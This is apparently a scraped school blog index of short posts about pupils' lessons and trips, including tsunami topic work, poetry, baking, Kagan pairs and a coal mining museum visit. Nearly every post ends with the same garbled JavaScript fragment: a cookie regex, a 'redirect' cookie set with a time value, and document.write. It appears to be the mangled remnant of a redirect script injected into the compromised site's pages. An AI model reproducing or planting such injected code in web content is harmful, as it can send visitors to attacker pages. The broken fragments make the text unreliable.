• Uncategorized

    At Highfields one of our pupils follows a Vegan diet. On Friday we spoke about baking and what type of things Vegans can have, so over the weekend Miss Holliday made some chocolate vegan brownies. Here is a picture of the one’s she made earlier. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Year Eight Kagan

    Year Eight worked in their Kagan pairs to decide what they would spend their aid budget on after a tsunami.  They had to work together and discuss each cost and give a reason why they would spend the money or why they wouldn’t.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Year Eight Elements 

    Year Eight worked with Simon from Open Minds to experience how they would react after a tsunami has struck.    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    SEAL Lesson

    In our SEAL lesson we have been looking at Resilience and not giving up. We decided to do this in a fun way and challenge the pupils to try and build a tower made from spaghetti and marshmallows.   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Year 9 cooking 

    year 9 have been focusing on tsunami’s and where they are most common in the world. From this year 9 looked in to the different types of food people ate around Thailand. We cooked a stir fry learning about different vegetables and how to prepare food before cooking them                 (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Japan

    We have started our work about Japan linked to our Kensuke’s Kingdom story. We have found out the names of the main islands and cities.    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Springwell Forest Primary

    Surreal paintings

    We have finally finished our surreal art. We have returned to them for several lessons to finish. Perseverance has worked. Can you see the strange things the boys have imaged?    Can you see Red Sea, sceptic eye, a skeleton car and a banana tree in Jak’s picture?    Can you see Pac Man and ghost in Luke’s painting? Can you see the yellow sky and chocolate fountain in Charlie’s painting?Can you find the dog and the wolf tree on Dylan’s painting?      Can you find a little green hamster,  a flying car and a blue sun on Jon’s paintings?   Where is the monkey, the sad moon and the flower lamp…

  • Springwell Forest Primary

    Message in a bottle

    We have written messages to put in bottles as an SOS. Do you think we have added enough information?                   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Darton Miners!

    This afternoon as part of outdoor learning we have visited the National Coal Mining museum in Wakefield. We had a trip ‘darn pit’ with Eric our guide! Unfortunately we couldn’t take photos down there but we have the dirty faces to prove it!   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    The Harness Room – Of Mice and Men

    Dearne Alternative Academy have been looking into loneliness of the character ‘Crooks’ from the book Of Mice and Men by John Steinbeck. The pupils had a look around the Harness Room where Crooks lived recreated in the classroom. What do you think?  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Year Eight Maths and SMSC

    As part of our unit on measure year eight pupils baked some fair trade  brownies.  Pupils had to read the recipe and accurately measure the ingredients. The ingredients were fair trade ingredients for fair trade fortnight.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Class 3 Storm Poems

    This week Class 3 have been writing poems about a storm at sea. They have watched the storm scene from Life of Pi and then wrote their own poems. We hope you like them              (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Year Eight SEAL

    As part of our SEAL topic on Empathy year eight pupils had a visit from the guide dog charity.  The pupils tried to put themselves in the shoes of blind and partially sighted people.      (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 7

    Year 7 pancake making

    Because year 7 won the attendance prize for last half term, we chose to have pancakes for breakfast. Very yummy!    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Tsunami poetry in Y7

    Y7 have created some outstanding poetry by writing from a first person perspective, imagining they were involved in a tsunami.             (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    On a boat – Senses Poems

    After being in the Peggy Sue boat. We wrote poems using our senses. What would you feel like on a boat?         We tried to use adjectives to describe what we experience. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Sailing @ Forest

    In class 5 – Springwell@ Forest. We have been sailing the lino! To build up ideas for our writing and poetry we have a yacht in the classroom. This is linked to our topic of ‘ Kensuke’s Kingdom and survival. It’s great fun.             (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Sketch books

    In the morning at settling time, we can draw in our notebooks. Here are a few of the budding artists images this week.            (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Similie and Metaphor 

    Luke has been writing a poetry story about being at sea. Similie = as….as or like a…  E.g. As small as an acorn, as large as an elephant  Metaphor = ..is a….. E.g. The wind is a dragon swirling around us. Can you see any similie or metaphors that he has used?      (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 3,  Uncategorized

    Class 3: Science

    Class 3 did a practical experiment to work out what happens to water when cooled or heated. They learnt that water can come in three states of matter: solid, liquid and gas. They first acted the three states then looked at the experiment.                       (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Who is who?

    Class 3 have used their ICT skills to create funny faces using the MSQRD App. Can you guess who is who?                           (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary,  Uncategorized

    Our Work 😀

    We’re proud of the work we produce at Springwell. Here are some of our displays!    (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Year Eight Elements 

    Year Eight interviewed a tsunami victim as part of their topic on tsunamis.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Pancake Day!

        In catering today, pancake day came early! We made toad in the hole and pancakes. Take a look at our photos.   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Year Eight Opening Minds Morning 

    For our Opening Minds morning on Celebrating World Religions Year Eight shared the work they’ve done on Buddhism.  The pupils prepared and cooked some vegetarian food to share.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Class 3 Opening Minds

    As part of our study of special books, we have looked at the Christian Bible, especially parables. We have started with the story of David and Goliath and will be moving on to Jesus turning water into wine.     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Year Eight English 

    Year Eight have written some excellent persuasive letters to Barnsley Council.  Well done Year Eight!          (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}